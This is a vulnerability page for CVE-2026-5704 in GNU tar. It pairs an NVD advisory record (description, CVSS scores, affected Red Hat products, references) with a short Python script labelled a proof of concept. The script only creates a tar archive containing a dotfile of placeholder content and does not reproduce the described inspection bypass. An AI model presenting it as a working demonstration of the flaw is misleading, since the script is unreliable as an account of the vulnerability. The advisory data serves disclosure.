CVE-2026-5704

import tarfile import os # Proof of Concept for CVE-2026-5704 # This script demonstrates how to create a tar archive containing a hidden file # that might bypass pre-extraction inspection mechanisms. def create_malicious_tar(filename, output_tar): with tarfile.open(output_tar, "w") as tar: # Create a hidden file with attacker-controlled content hidden_file_name = ".malicious_payload" content = b"Attacker controlled content" # Add file to archive info = tarfile.TarInfo(name=hidden_file_name) info.size = len(content) tar.addfile(info, fileobj=io.BytesIO(content)) print(f"[+] Created malicious tar archive: {output_tar}") print(f"[+] Archive contains hidden file: {hidden_file_name}") if __name__ == "__main__": import io create_malicious_tar("data.txt", "exploit.tar")

{"cve": {"id": "CVE-2026-5704", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:42.140", "lastModified": "2026-04-22T20:08:59.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in tar. A remote attacker could exploit this vulnerability by crafting a malicious archive, leading to hidden file injection with fully attacker-controlled content. This bypasses pre-extraction inspection mechanisms, potentially allowing an attacker to introduce malicious files onto a system without detection."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:tar:-:*:*:*:*:*:*:*", "matchCriteriaId": "F73E53BF-3144-42D0-8487-6FD8A79BE9A3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:hardened_images:-:*:*:*:*:*:*:*", "matchCriteriaId": "87DEB507-5B64-47D7-9A50-3B87FD1E571F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*", "matchCriteriaId": "2F6AB192-9D7D-4A9A-8995-E53A9DE9EAFC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-5704", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2455360", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/11/10", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Mailing List", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/11/11", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/12/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Mailing List", "Third Party Advisory"]}]}}